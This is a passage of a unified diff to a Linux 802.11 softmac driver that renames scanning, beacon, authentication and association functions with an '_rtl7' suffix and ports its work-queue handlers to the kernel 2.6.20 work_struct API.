ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + 